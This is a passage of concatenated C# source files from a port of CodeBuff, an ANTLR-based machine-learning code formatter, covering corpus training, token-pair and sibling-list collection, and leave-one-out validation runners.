Antlr4.Runtime.ParserRuleContext { IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> tokenToListInfo = new Dictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>>(); ParserRuleContext first = siblings[0] as ParserRuleContext; ParserRuleContext last = siblings[siblings.Count - 1] as ParserRuleContext; Token prefixToken = tokens.getPreviousRealToken(first.Start.TokenIndex); // e.g., '(' in an arg list or ':' in grammar def Token suffixToken = tokens.getNextRealToken(last.Stop.TokenIndex); // e.g., LT(1) is last token of list; LT(2) is ')' in an arg list of ';' in grammar def if (prefixToken != null && suffixToken != null) { TerminalNode prefixNode = tokenToNodeMap[prefixToken]; TerminalNode suffixNode = tokenToNodeMap[suffixToken]; bool hasSurroundingTokens = prefixNode != null && prefixNode.Parent == suffixNode.Parent; if (hasSurroundingTokens) { tokenToListInfo[prefixToken] = new org.antlr.codebuff.misc.Pair<bool, int>(isOversizeList, Trainer.LIST_PREFIX); tokenToListInfo[suffixToken] = new org.antlr.codebuff.misc.Pair<bool, int>(isOversizeList, Trainer.LIST_SUFFIX); } IList<Tree> separators = getSeparators(ctx, siblings); Tree firstSep = separators[0]; tokenToListInfo[(Token)firstSep.Payload] = new org.antlr.codebuff.misc.Pair<bool, int>(isOversizeList, Trainer.LIST_FIRST_SEPARATOR); foreach (Tree s in separators.Where((e, i) => i > 0 && i < separators.Count)) { tokenToListInfo[(Token)s.Payload] = new org.antlr.codebuff.misc.Pair<bool, int>(isOversizeList, Trainer.LIST_SEPARATOR); } // handle sibling members tokenToListInfo[first.Start] = new org.antlr.codebuff.misc.Pair<bool, int>(isOversizeList, Trainer.LIST_FIRST_ELEMENT); foreach (T1 ss in siblings.Where((e, i) => i > 0 && i < siblings.Count)) { var s = ss as ParserRuleContext; tokenToListInfo[s.Start] = new org.antlr.codebuff.misc.Pair<bool, int>(isOversizeList, Trainer.LIST_MEMBER); } } return tokenToListInfo; } public virtual void VisitTerminal(ITerminalNode node) { } public virtual void VisitErrorNode(IErrorNode node) { } public virtual void EnterEveryRule(ParserRuleContext ctx) { // Find sibling lists that are children of this parent node ISet<Type> completed = new HashSet<Type>(); // only count sibling list for each subtree type once for (int i = 0; i < ctx.ChildCount; i++) { ParseTree child = ctx.GetChild(i); if (completed.Contains(child.GetType())) { continue; // avoid counting repeatedly } completed.Add(child.GetType()); if (child is TerminalNode) { continue; // tokens are separators at most not siblings } // found subtree child //JAVA TO C# CONVERTER WARNING: Java wildcard generics have no direct equivalent in .NET: //ORIGINAL LINE: java.util.List<? extends org.antlr.v4.runtime.ParserRuleContext> siblings = ctx.getRuleContexts(((org.antlr.v4.runtime.ParserRuleContext) child).getClass()); var s = ctx.GetRuleContexts<ParserRuleContext>(); IList<ParserRuleContext> siblings = s.Where((n) => n.GetType() == child.GetType()).ToList(); //IList<ParserRuleContext> siblings = ctx.GetRuleContexts(((ParserRuleContext) child).GetType()); if (siblings.Count > 1) { // we found a list // check for separator by looking between first two siblings (assume all are same) ParserRuleContext first = siblings[0]; ParserRuleContext second = siblings[1]; IList<ITree> children = Trees.GetChildren(ctx); int firstIndex = children.IndexOf(first); int secondIndex = children.IndexOf(second); if (firstIndex + 1 == secondIndex) { continue; // nothing between first and second so no separator } ParseTree between = ctx.GetChild(firstIndex + 1); if (between is TerminalNode) { // is it a token? Token separator = ((TerminalNode)between).Symbol; visitNonSingletonWithSeparator(ctx, siblings, separator); } } } } public virtual void ExitEveryRule(ParserRuleContext ctx) { } } }<file_sep>using System; using System.Collections.Generic; using Antlr4.Runtime.Misc; using org.antlr.codebuff.misc; namespace org.antlr.codebuff { using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; using ParentSiblingListKey = org.antlr.codebuff.misc.ParentSiblingListKey; using RuleAltKey = org.antlr.codebuff.misc.RuleAltKey; using SiblingListStats = org.antlr.codebuff.misc.SiblingListStats; using FeatureVectorAsObject = org.antlr.codebuff.validation.FeatureVectorAsObject; using CollectSiblingLists = org.antlr.codebuff.walkers.CollectSiblingLists; using CollectTokenPairs = org.antlr.codebuff.walkers.CollectTokenPairs; using Token = Antlr4.Runtime.IToken; using Vocabulary = Antlr4.Runtime.Vocabulary; using ParseTreeWalker = Antlr4.Runtime.Tree.ParseTreeWalker; public class Corpus { public const int FEATURE_VECTOR_RANDOM_SEED = 314159; // need randomness but use same seed to get reproducibility public const int NUM_DEPENDENT_VARS = 2; public const int INDEX_FEATURE_NEWLINES = 0; public const int INDEX_FEATURE_ALIGN_WITH_PREVIOUS = 1; internal IList<InputDocument> documents; // A list of all input docs to train on public IList<InputDocument> documentsPerExemplar; // an entry for each featureVector public IList<int[]> featureVectors; public IList<int> injectWhitespace; public IList<int> hpos; public virtual void addExemplar(InputDocument doc, int[] features, int ws, int hpos) { documentsPerExemplar.Add(doc); featureVectors.Add(features); injectWhitespace.Add(ws); this.hpos.Add(hpos); } public string rootDir; public LangDescriptor language; /// <summary> /// an index to narrow down the number of vectors we compute distance() on each classification. /// The key is (previous token's rule index, current token's rule index). It yields /// a list of vectors with same key. Created by <seealso cref="#buildTokenContextIndex"/>. /// </summary> public MyMultiMap<org.antlr.codebuff.misc.Pair<int, int>, int> curAndPrevTokenRuleIndexToExemplarIndexes; public MyMultiMap<FeatureVectorAsObject, int> wsFeaturesToExemplarIndexes; public MyMultiMap<FeatureVectorAsObject, int> hposFeaturesToExemplarIndexes; public IDictionary<RuleAltKey, IList<org.antlr.codebuff.misc.Pair<int, int>>> ruleToPairsBag = null; public IDictionary<ParentSiblingListKey, SiblingListStats> rootAndChildListStats; public IDictionary<ParentSiblingListKey, SiblingListStats> rootAndSplitChildListStats; public IDictionary<Token, org.antlr.codebuff.misc.Pair<bool, int>> tokenToListInfo; public Corpus(string rootDir, LangDescriptor language) { this.rootDir = rootDir; this.language = language; if (documents == null) { IList<string> allFiles = Tool.getFilenames(rootDir, language.fileRegex); documents = Tool.load(allFiles, language); } } public Corpus(IList<InputDocument> documents, LangDescriptor language) { this.documents = documents; this.language = language; } public virtual void train() { train(true); } public virtual void train(bool shuffleFeatureVectors) { collectTokenPairsAndSplitListInfo(); trainOnSampleDocs(); if (shuffleFeatureVectors) { randomShuffleInPlace(); } buildTokenContextIndex(); } /// <summary> /// Walk all documents to compute matching token dependencies (we need this for feature computation) /// While we're at it, find sibling lists. /// </summary> public virtual void collectTokenPairsAndSplitListInfo() { Vocabulary vocab = Tool.getLexer(language.lexerClass, null).Vocabulary as Vocabulary; string[] ruleNames = Tool.getParser(language.parserClass, null).RuleNames; CollectTokenPairs collectTokenPairs = new CollectTokenPairs(vocab, ruleNames); CollectSiblingLists collectSiblingLists = new CollectSiblingLists(); foreach (InputDocument doc in documents) { collectSiblingLists.setTokens(doc.tokens, doc.tree, doc.tokenToNodeMap); ParseTreeWalker.Default.Walk(collectTokenPairs, doc.tree); ParseTreeWalker.Default.Walk(collectSiblingLists, doc.tree); var cc = collectSiblingLists.SplitListForms; } ruleToPairsBag = collectTokenPairs.Dependencies; rootAndChildListStats = collectSiblingLists.ListStats; rootAndSplitChildListStats = collectSiblingLists.SplitListStats; tokenToListInfo = collectSiblingLists.TokenToListInfo; if (false) { foreach (RuleAltKey ruleAltKey in ruleToPairsBag.Keys) { IList<org.antlr.codebuff.misc.Pair<int, int>> pairs = ruleToPairsBag[ruleAltKey]; Log.Write(ruleAltKey + " -> "); foreach (org.antlr.codebuff.misc.Pair<int, int> p in pairs) { Log.Write(vocab.GetDisplayName(p.a) + "," + vocab.GetDisplayName(p.b) + " "); } Log.WriteLine(); } } if (false) { foreach (ParentSiblingListKey siblingPairs in rootAndChildListStats.Keys) { string parent = ruleNames[siblingPairs.parentRuleIndex]; parent = parent.Replace("Context",""); string siblingListName = ruleNames[siblingPairs.childRuleIndex]; siblingListName = siblingListName.Replace("Context",""); Log.WriteLine(parent + ":" + siblingPairs.parentRuleAlt + "->" + siblingListName + ":" + siblingPairs.childRuleAlt + " (n,min,median,var,max)=" + rootAndChildListStats[siblingPairs]); } IDictionary<ParentSiblingListKey, int> splitListForms = collectSiblingLists.SplitListForms; foreach (ParentSiblingListKey siblingPairs in rootAndSplitChildListStats.Keys) { string parent = ruleNames[siblingPairs.parentRuleIndex]; parent = parent.Replace("Context",""); string siblingListName = ruleNames[siblingPairs.childRuleIndex]; siblingListName = siblingListName.Replace("Context",""); Log.WriteLine("SPLIT " + parent + ":" + siblingPairs.parentRuleAlt + "->" + siblingListName + ":" + siblingPairs.childRuleAlt + " (n,min,median,var,max)=" + rootAndSplitChildListStats[siblingPairs] + " form " + splitListForms[siblingPairs]); } } } public virtual void trainOnSampleDocs() { documentsPerExemplar = new List<InputDocument>(); featureVectors = new List<int[]>(); injectWhitespace = new List<int>(); hpos = new List<int>(); foreach (InputDocument doc in documents) { if (Tool.showFileNames) { Log.WriteLine(doc.ToString()); } // Parse document, add feature vectors to this corpus Trainer trainer = new Trainer(this, doc, language.indentSize); trainer.computeFeatureVectors(); } } /// <summary> /// Feature vectors in X are lumped together as they are read in each /// document. In kNN, this tends to find features from the same document /// rather than from across the corpus since we grab k neighbors. /// For k=11, we might only see exemplars from a single corpus document. /// If all exemplars fit in k, this wouldn't be an issue. /// /// Fisher-Yates / Knuth shuffling /// "To shuffle an array a of n elements (indices 0..n-1)": /// https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle /// </summary> public virtual void randomShuffleInPlace() { Random r = new Random(FEATURE_VECTOR_RANDOM_SEED); // for i from n−1 downto 1 do int n = featureVectors.Count; for (int i = n - 1; i >= 1; i--) { // j ← random integer such that 0 ≤ j ≤ i int j = r.Next(i + 1); // exchange a[j] and a[i] // Swap X int[] tmp = featureVectors[i]; featureVectors[i] = featureVectors[j]; featureVectors[j] = tmp; // And now swap all prediction lists int tmpI = injectWhitespace[i]; injectWhitespace[i] = injectWhitespace[j]; injectWhitespace[j] = tmpI; tmpI = hpos[i]; hpos[i] = hpos[j]; hpos[j] = tmpI; // Finally, swap documents InputDocument tmpD = documentsPerExemplar[i]; documentsPerExemplar[i] = documentsPerExemplar[j]; documentsPerExemplar[j] = tmpD; } } public virtual void buildTokenContextIndex() { curAndPrevTokenRuleIndexToExemplarIndexes = new MyMultiMap<org.antlr.codebuff.misc.Pair<int, int>, int>(); wsFeaturesToExemplarIndexes = new MyMultiMap<FeatureVectorAsObject, int>(); hposFeaturesToExemplarIndexes = new MyMultiMap<FeatureVectorAsObject, int>(); for (int i = 0; i < featureVectors.Count; i++) { int[] features = featureVectors[i]; int curTokenRuleIndex = features[Trainer.INDEX_PREV_EARLIEST_RIGHT_ANCESTOR]; int prevTokenRuleIndex = features[Trainer.INDEX_EARLIEST_LEFT_ANCESTOR]; int pr = Trainer.unrulealt(prevTokenRuleIndex)[0]; int cr = Trainer.unrulealt(curTokenRuleIndex)[0]; curAndPrevTokenRuleIndexToExemplarIndexes.Map(new org.antlr.codebuff.misc.Pair<int,int>(pr, cr), i); wsFeaturesToExemplarIndexes.Map(new FeatureVectorAsObject(features, Trainer.FEATURES_INJECT_WS), i); hposFeaturesToExemplarIndexes.Map(new FeatureVectorAsObject(features, Trainer.FEATURES_HPOS), i); } } } }<file_sep>using System; using System.Collections.Generic; namespace org.antlr.codebuff.validation { using Triple = Antlr4.Runtime.Misc.Triple; //JAVA TO C# CONVERTER TODO TASK: This Java 'import static' statement cannot be converted to C#: // import static org.antlr.codebuff.Tool.SQLITE_CLEAN_DESCR; public class FormatSQLite { //JAVA TO C# CONVERTER WARNING: Method 'throws' clauses are not available in .NET: //ORIGINAL LINE: public static void main(String[] args) throws Exception public static void Main(string[] args) { LeaveOneOutValidator validator = new LeaveOneOutValidator(SQLITE_CLEAN_DESCR.corpusDir, SQLITE_CLEAN_DESCR); Triple<IList<Formatter>, IList<float?>, IList<float?>> results = validator.validateDocuments(false, "output"); Log.WriteLine(results.b); Log.WriteLine(results.c); } } }<file_sep>using System; using System.Collections.Generic; using org.antlr.codebuff.misc; namespace org.antlr.codebuff.validation { using BuffUtils = org.antlr.codebuff.misc.BuffUtils; using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; using Triple = Antlr4.Runtime.Misc.Triple; using Utils = Antlr4.Runtime.Misc.Utils; using ST = org.stringtemplate.v4.ST; public class Stability { public const int STAGES = 5; public static void Main(string[] args) { LeaveOneOutValidator.FORCE_SINGLE_THREADED = true; // need this when we compare results file by file LangDescriptor[] languages = new LangDescriptor[]{QUORUM_DESCR}; IDictionary<string, IList<float?>> results = new Dictionary<string, IList<float?>>(); foreach (LangDescriptor language in languages) { IList<float?> errorRates = checkStability(language); Log.WriteLine(language.name + " " + errorRates); results[language.name] = errorRates; } foreach (string name in results.Keys) { Log.WriteLine(name + " = " + results[name]); } string python = "#\n" + "# AUTO-GENERATED FILE. DO NOT EDIT\n" + "# CodeBuff <version> '<date>'\n" + "#\n" + "import numpy as np\n" + "import matplotlib.pyplot as plt\n\n" + "import matplotlib\n" + "fig = plt.figure()\n" + "ax = plt.subplot(111)\n" + "N = <N>\n" + "sizes = range(0,N)\n" + "<results:{r |\n" + "<r> = [<results.(r); separator={,}>]\n" + "ax.plot(sizes, <r>, label=\"<r>\", marker='o')\n" + "}>\n" + "ax.yaxis.grid(True, linestyle='-', which='major', color='lightgrey', alpha=0.5)\n" + "xa = ax.get_xaxis()\n" + "xa.set_major_locator(matplotlib.ticker.MaxNLocator(integer=True))\n" + "ax.set_xlabel(\"Formatting Stage; stage 0 is first formatting pass\")\n" + "ax.set_ylabel(\"Median Leave-one-out Validation Error Rate\")\n" + "ax.set_title(\"<N>-Stage Formatting Stability\\nStage $n$ is formatted output of stage $n-1$\")\n" + "plt.legend()\n" + "plt.tight_layout()\n" + "fig.savefig('images/stability.pdf', format='pdf')\n" + "plt.show()\n"; ST pythonST = new ST(python); pythonST.add("results", results); pythonST.add("version", version); pythonST.add("date", DateTime.Now); pythonST.add("N", STAGES + 1); string fileName = "python/src/stability.py"; org.antlr.codebuff.misc.Utils.writeFile(fileName, pythonST.render()); Log.WriteLine("wrote python code to " + fileName); } public static IList<float?> checkStability(LangDescriptor language) { IList<float?> errorRates = new List<float?>(); // format the corpus into tmp dir LeaveOneOutValidator validator0 = new LeaveOneOutValidator(language.corpusDir, language); Triple<IList<Formatter>, IList<float>, IList<float>> results0 = validator0.validateDocuments(false, "/tmp/stability/1"); errorRates.Add(BuffUtils.median(results0.c)); IList<Formatter> formatters0 = results0.a; // now try formatting it over and over for (int i = 1; i <= STAGES; i++) { string inputDir = "/tmp/stability/" + i; string outputDir = "/tmp/stability/" + (i + 1); LeaveOneOutValidator validator = new LeaveOneOutValidator(inputDir, language); Triple<IList<Formatter>, IList<float>, IList<float>> results = validator.validateDocuments(false, outputDir); IList<Formatter> formatters = results.a; IList<float?> distances = new List<float?>(); for (int j = 0; j < formatters.Count; j++) { Formatter f0 = formatters0[j]; Formatter f = formatters[j]; float editDistance = Dbg.normalizedLevenshteinDistance(f.Output, f0.Output); distances.Add(editDistance); } errorRates.Add(BuffUtils.median(distances)); } return errorRates; } } }<file_sep>using System; using System.Collections.Generic; using System.Text; using Antlr4.Runtime; namespace org.antlr.codebuff { public class LogStrategy : DefaultErrorStrategy { public override void ReportError(Parser recognizer, RecognitionException e) { if (e != null && e.Message != null) Log.WriteLine(e.Message); if (e != null && e.InnerException != null && e.InnerException.Message != null) Log.WriteLine(e.InnerException.Message); base.ReportError(recognizer, e); } } public class Log { static StringBuilder _sb = new StringBuilder(); public static void Reset() { _sb = new StringBuilder(); } public static void WriteLine(string s = "") { _sb.AppendLine(s); } public static void AppendLine(string s = "") { _sb.AppendLine(s); } public static void Append(string s) { _sb.Append(s); } public static void Write(string s) { _sb.Append(s); } public static void Write(string format, params object[] arg) { var result = String.Format(format, arg); _sb.AppendLine(result); } public static string Message() { return _sb.ToString(); } } } <file_sep>namespace org.antlr.codebuff { public class FeatureMetaData { public static readonly FeatureMetaData UNUSED = new FeatureMetaData(FeatureType.UNUSED, null, 0); public string[] abbrevHeaderRows; public FeatureType type; public double mismatchCost; public FeatureMetaData(FeatureMetaData old) { this.abbrevHeaderRows = old.abbrevHeaderRows; this.type = old.type; this.mismatchCost = old.mismatchCost; } public FeatureMetaData(FeatureType type, string[] abbrevHeaderRows, int mismatchCost) { this.abbrevHeaderRows = abbrevHeaderRows; this.mismatchCost = mismatchCost; this.type = type; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using org.antlr.codebuff.misc; namespace org.antlr.codebuff.validation { using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; using Utils = Antlr4.Runtime.Misc.Utils; public class AllJavaLeaveOneOutValidation { public static void Main(string[] args) { LangDescriptor[] languages = new LangDescriptor[] {JAVA_DESCR, JAVA8_DESCR, JAVA_GUAVA_DESCR}; IList<string> corpusDirs = BuffUtils.map(languages, l => l.corpusDir); string[] dirs = corpusDirs.ToArray(); string python = LeaveOneOutValidator.testAllLanguages(languages, dirs, "all_java_leave_one_out.pdf"); string fileName = "python/src/all_java_leave_one_out.py"; org.antlr.codebuff.misc.Utils.writeFile(fileName, python); Log.WriteLine("wrote python code to " + fileName); } } }<file_sep>using System; namespace org.antlr.codebuff.misc { public class Triple<L, M, R> { private L left; private M middle; private R right; public Triple(L left, M middle, R right) { if (left == null) { throw new Exception("Left value is not effective."); } if (middle == null) { throw new Exception("Middle value is not effective."); } if (right == null) { throw new Exception("Right value is not effective."); } this.left = left; this.middle = middle; this.right = right; } public L getLeft() { return this.left; } public L a { get { return this.left; } } public M getMiddle() { return this.middle; } public M b { get { return this.middle; } } public R getRight() { return this.right; } public R c { get { return this.right; } } public override int GetHashCode() { const int prime = 31; int result = 1; result = prime*result + ((left == null) ? 0 : left.GetHashCode()); result = prime*result + ((middle == null) ? 0 : middle.GetHashCode()); result = prime*result + ((right == null) ? 0 : right.GetHashCode()); return result; } public bool equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (GetType() != obj.GetType()) return false; Triple<Object, Object, Object> other = (Triple<Object, Object, Object>) obj; if (left == null) { if (other.left != null) return false; } else if (!left.Equals(other.left)) return false; if (middle == null) { if (other.middle != null) return false; } else if (!middle.Equals(other.middle)) return false; if (right == null) { if (other.right != null) return false; } else if (!right.Equals(other.right)) return false; return true; } public override String ToString() { return "<" + left + "," + middle + "," + right + ">"; } } }<file_sep>using System.Collections.Generic; using Antlr4.Runtime.Misc; namespace org.antlr.codebuff.walkers { using BuffUtils = org.antlr.codebuff.misc.BuffUtils; using RuleAltKey = org.antlr.codebuff.misc.RuleAltKey; using ParserRuleContext = Antlr4.Runtime.ParserRuleContext; using Token = Antlr4.Runtime.IToken; using Vocabulary = Antlr4.Runtime.Vocabulary; //using Pair = Antlr4.Runtime.Misc.Pair; using ErrorNode = Antlr4.Runtime.Tree.IErrorNode; using ParseTree = Antlr4.Runtime.Tree.IParseTree; using ParseTreeListener = Antlr4.Runtime.Tree.IParseTreeListener; using TerminalNode = Antlr4.Runtime.Tree.ITerminalNode; /// <summary> /// Identify token dependencies like { }, [], etc... for use when /// computing features. For example, if there is no newline after '{' /// in a method, probably shouldn't have a newline before the '}'. We need /// to find matching symbols in order to synchronize the newline generation. /// /// RAW NOTES: /// /// Sample counts of rule nodes and unique token lists: /// /// 80 block: ['{', '}'] /// 197 blockStatement: /// 3 classBody: ['{', '}'] /// 52 classBodyDeclaration: /// 5 typeArguments: ['<', ',', '>'] /// 9 typeArguments: ['<', '>'] /// 14 qualifiedName: [Identifier, '.', Identifier, '.', Identifier] /// 6 qualifiedName: [Identifier] /// 1 typeDeclaration: /// 8 typeSpec: ['[', ']'] /// 173 typeSpec: /// 40 parExpression: ['(', ')'] /// 1 classDeclaration: ['class', Identifier, 'extends'] /// 2 classDeclaration: ['class', Identifier] /// 1 enumDeclaration: ['enum', Identifier, '{', '}'] /// 1 expression: ['!'] /// 9 expression: ['!='] /// 2 expression: ['&&'] /// 109 expression: ['(', ')'] /// 1 forControl: [';', ';'] /// 3 forControl: /// ... /// /// Repeated tokens should not be counted as most likely they are separators or terminators /// but not always. E.g., forControl: [';', ';'] /// /// Build r->(a,b) tuples for every a,b in tokens list for r and unique a,b. /// E.g., typeSpec: ['[', ']'] /// /// gives /// /// typeSpec -> ('[',']') /// /// For any a=b, assume it's not a dependency so build set r->{a} for each rule r. /// E.g., qualifiedName: [Identifier, '.', Identifier, '.', Identifier] /// /// gives /// /// qualifiedName -> (Id,.), (Id,Id), (.,Id) /// qualifiedName -> {Id,.} /// /// meaning we disregard all tuples for qualifiedName. /// /// With too few samples, we might get confused. E.g., /// /// 5 typeArguments: ['<', ',', '>'] /// 9 typeArguments: ['<', '>'] /// /// gives /// /// typeArguments -> (<,','), (<,>), (',',>) /// /// Hmm..the count is 9+5 for (<,>), but just 5 for (<,',') and (',',>). /// If we pick just one tuple for each rule, we get (<,>) as winner. cool. /// By that argument, these would yield (class,Id) which is probably ok. /// /// 1 classDeclaration: ['class', Identifier, 'extends'] /// 2 classDeclaration: ['class', Identifier] /// /// If there are multiple unique tokens every time like: /// /// enumDeclaration: ['enum', Identifier, '{', '}'] /// /// we can't decide which token to pair with which. For now we can choose /// arbitrarily but later maybe choose first to last token. /// /// Oh! Actually, we should only consider tokens that are literals. Tokens /// like Id won't be that useful. That would give /// /// enumDeclaration: ['enum', '{', '}'] /// /// which is easier. /// /// Can't really choose most frequent all the time. E.g., statement yields: /// /// statement: 11:'if','else' 11:'throw',';' 4:'for','(' 4:'for',')' 35:'return',';' 4:'(',')' /// /// and then would pick ('return',';') as the dependency. Ah. We need pairs /// not by rule but rule and which alternative. Otherwise rules with lots of /// alts will not be able to pick stuff out. Well, that info isn't available /// except for interpreted parsing. dang. I would have to subclass the /// ATN simulator to create different context objects. Doable but ignore for now. /// /// For matching symbols like {}, [], let's use that info to get a unique match /// when this algorithm doesn't give one. /// </summary> public class CollectTokenPairs : ParseTreeListener { /// <summary> /// a bit of "overfitting" or tailoring to the most common pairs in all /// computer languages to improve accuracy when choosing pairs. /// I.e., it never makes sense to choose ('@',')') when ('(',')') is /// available. Don't assume these pairs exist, just give them /// preference IF they exist in the dependency pairs. /// </summary> public static readonly char[] CommonPairs = new char[255]; static CollectTokenPairs() { CommonPairs['}'] = '{'; CommonPairs[')'] = '('; CommonPairs[']'] = '['; CommonPairs['>'] = '<'; } /// <summary> /// Map a rule name to a bag of (a,b) tuples that counts occurrences </summary> protected internal IDictionary<RuleAltKey, ISet<org.antlr.codebuff.misc.Pair<int, int>>> ruleToPairsBag = new Dictionary<RuleAltKey, ISet<org.antlr.codebuff.misc.Pair<int, int>>>(); /// <summary> /// Track repeated token refs per rule </summary> protected internal IDictionary<RuleAltKey, ISet<int>> ruleToRepeatedTokensSet = new Dictionary<RuleAltKey, ISet<int>>(); /// <summary> /// We need parser vocabulary so we can filter for literals like '{' vs ID </summary> protected internal Vocabulary vocab; protected internal string[] ruleNames; public CollectTokenPairs(Vocabulary vocab, string[] ruleNames) { this.vocab = vocab; this.ruleNames = ruleNames; } public void EnterEveryRule(ParserRuleContext ctx) { string ruleName = ruleNames[ctx.RuleIndex]; IList<TerminalNode> tnodes = getDirectTerminalChildren(ctx); // Find all ordered unique pairs of literals; // no (a,a) pairs and only literals like '{', 'begin', '}', ... // Add a for (a,a) into ruleToRepeatedTokensSet for later filtering RuleAltKey ruleAltKey = new RuleAltKey(ruleName, ctx.getAltNumber()); for (int i = 0; i < tnodes.Count; i++) { for (int j = i + 1; j < tnodes.Count; j++) { TerminalNode a = tnodes[i]; TerminalNode b = tnodes[j]; int atype = a.Symbol.Type; int btype = b.Symbol.Type; // KED: THIS CODE DOES NOT WORK WITH GRAMMARS CONTAINING FRAGMENTS. // IN ANTLRV4LEXER.G4 THAT IS IN THIS DIRECTORY, THE GRAMMAR DOES NOT USE // FRAGMENT FOR COLON. BUT THE G4 GRAMMAR IN THE ANTLR GRAMMARS-G4 EXAMPLES, // IT DOES. CONSEQUENTLY, GETLITERALNAME RETURNS NULL! // FRAGMENTS AREN'T PART OF THE VOCABULARY, SO THIS CODE DOES NOT WORK!! // only include literals like '{' and ':' not IDENTIFIER etc... if (vocab.GetLiteralName(atype) == null || vocab.GetLiteralName(btype) == null) { continue; } if (atype == btype) { ISet<int> repeatedTokensSet = null; if (! ruleToRepeatedTokensSet.TryGetValue(ruleAltKey, out repeatedTokensSet)) { repeatedTokensSet = new HashSet<int>(); ruleToRepeatedTokensSet[ruleAltKey] = repeatedTokensSet; } repeatedTokensSet.Add(atype); } else { org.antlr.codebuff.misc.Pair<int, int> pair = new org.antlr.codebuff.misc.Pair<int, int>(atype, btype); ISet<org.antlr.codebuff.misc.Pair<int, int>> pairsBag = null; if (! ruleToPairsBag.TryGetValue(ruleAltKey, out pairsBag)) { pairsBag = new HashSet<org.antlr.codebuff.misc.Pair<int, int>>(); ruleToPairsBag[ruleAltKey] = pairsBag; } pairsBag.Add(pair); } } } } /// <summary> /// Return the list of token dependences for each rule in a Map. /// </summary> public virtual IDictionary<RuleAltKey, IList<org.antlr.codebuff.misc.Pair<int, int>>> Dependencies { get { return stripPairsWithRepeatedTokens(); } } /// <summary> /// Look for matching common single character literals. /// If bliteral is single char, prefer aliteral that is /// also a single char. /// Otherwise, just pick first aliteral /// </summary> public static int getMatchingLeftTokenType(Token curToken, IList<int> viableMatchingLeftTokenTypes, Vocabulary vocab) { int matchingLeftTokenType = viableMatchingLeftTokenTypes[0]; // by default just pick first // see if we have a matching common pair of punct string bliteral = vocab.GetLiteralName(curToken.Type); foreach (int ttype in viableMatchingLeftTokenTypes) { string aliteral = vocab.GetLiteralName(ttype); if (!string.ReferenceEquals(aliteral, null) && aliteral.Length == 3 && !string.ReferenceEquals(bliteral, null) && bliteral.Length == 3) { char leftChar = aliteral[1]; char rightChar = bliteral[1]; if (rightChar < 255 && CommonPairs[rightChar] == leftChar) { return ttype; } } } // not common pair, but give preference if we find two single-char vs ';' and 'fragment' for example foreach (int ttype in viableMatchingLeftTokenTypes) { string aliteral = vocab.GetLiteralName(ttype); if (!string.ReferenceEquals(aliteral, null) && aliteral.Length == 3 && !string.ReferenceEquals(bliteral, null) && bliteral.Length == 3) { return ttype; } } // oh well, just return first one return matchingLeftTokenType; } /// <summary> /// Return a new map from rulename to List of (a,b) pairs stripped of /// tuples (a,b) where a or b is in rule repeated token set. /// E.g., before removing repeated token ',', we see: /// /// elementValueArrayInitializer: 4:'{',',' 1:'{','}' 4:',','}' /// /// After removing tuples containing repeated tokens, we get: /// /// elementValueArrayInitializer: 1:'{','}' /// </summary> protected internal virtual IDictionary<RuleAltKey, IList<org.antlr.codebuff.misc.Pair<int, int>>> stripPairsWithRepeatedTokens() { IDictionary<RuleAltKey, IList<org.antlr.codebuff.misc.Pair<int, int>>> ruleToPairsWoRepeats = new Dictionary<RuleAltKey, IList<org.antlr.codebuff.misc.Pair<int, int>>>(); // For each rule foreach (RuleAltKey ruleAltKey in ruleToPairsBag.Keys) { ISet<int> ruleRepeatedTokens = null; ruleToRepeatedTokensSet.TryGetValue(ruleAltKey, out ruleRepeatedTokens); ISet<org.antlr.codebuff.misc.Pair<int, int>> pairsBag = null; ruleToPairsBag.TryGetValue(ruleAltKey, out pairsBag); // If there are repeated tokens for this rule if (ruleRepeatedTokens != null) { // Remove all (a,b) for b in repeated token set IList<org.antlr.codebuff.misc.Pair<int, int>> pairsWoRepeats = BuffUtils.filter(pairsBag, p => !ruleRepeatedTokens.Contains(p.a) && !ruleRepeatedTokens.Contains(p.b)); ruleToPairsWoRepeats[ruleAltKey] = pairsWoRepeats; } else { ruleToPairsWoRepeats[ruleAltKey] = new List<org.antlr.codebuff.misc.Pair<int,int>>(pairsBag); } } return ruleToPairsWoRepeats; } /// <summary> /// Return a list of the set of terminal nodes that are direct children of ctx. </summary> public static IList<TerminalNode> getDirectTerminalChildren(ParserRuleContext ctx) { if (ctx.children == null) { return new List<TerminalNode>(); } IList<TerminalNode> tokenNodes = new List<TerminalNode>(); foreach (ParseTree o in ctx.children) { if (o is TerminalNode) { TerminalNode tnode = (TerminalNode)o; tokenNodes.Add(tnode); } } return tokenNodes; } // satisfy interface only public void VisitTerminal(TerminalNode node) { } public void VisitErrorNode(ErrorNode node) { } public void ExitEveryRule(ParserRuleContext ctx) { } } }<file_sep>using System; using System.Collections.Generic; namespace org.antlr.codebuff.validation { using BuffUtils = org.antlr.codebuff.misc.BuffUtils; using LangDescriptor = org.antlr.codebuff.misc.LangDescriptor; using Utils = Antlr4.Runtime.Misc.Utils; using ST = org.stringtemplate.v4.ST; public class OneFileCapture { public static void Main(string[] args) { LangDescriptor[] languages = new LangDescriptor[] {QUORUM_DESCR, JAVA_DESCR, JAVA8_DESCR, ANTLR4_DESCR, SQLITE_NOISY_DESCR, SQLITE_CLEAN_DESCR, TSQL_NOISY_DESCR, TSQL_CLEAN_DESCR}; for (int i = 0; i < languages.Length; i++) { LangDescriptor language = languages[i]; runCaptureForOneLanguage(language); } } public static void runCaptureForOneLanguage(LangDescriptor language) { IList<string> filenames = Tool.getFilenames(language.corpusDir, language.fileRegex); IList<float> selfEditDistances = new List<float>(); foreach (string fileName in filenames) { Corpus corpus = new Corpus(fileName, language); corpus.train(); InputDocument testDoc = Tool.parse(fileName, corpus.language); Formatter formatter = new Formatter(corpus, language.indentSize); string output = formatter.format(testDoc, false); // System.out.println(output); float editDistance = Dbg.normalizedLevenshteinDistance(testDoc.content, output); Log.WriteLine(fileName + " edit distance " + editDistance); selfEditDistances.Add(editDistance); } { Corpus corpus = new Corpus(language.corpusDir, language); corpus.train(); IList<float> corpusEditDistances = new List<float>(); foreach (string fileName in filenames) { InputDocument testDoc = Tool.parse(fileName, corpus.language); Formatter formatter = new Formatter(corpus, language.indentSize); string output = formatter.format(testDoc, false); // 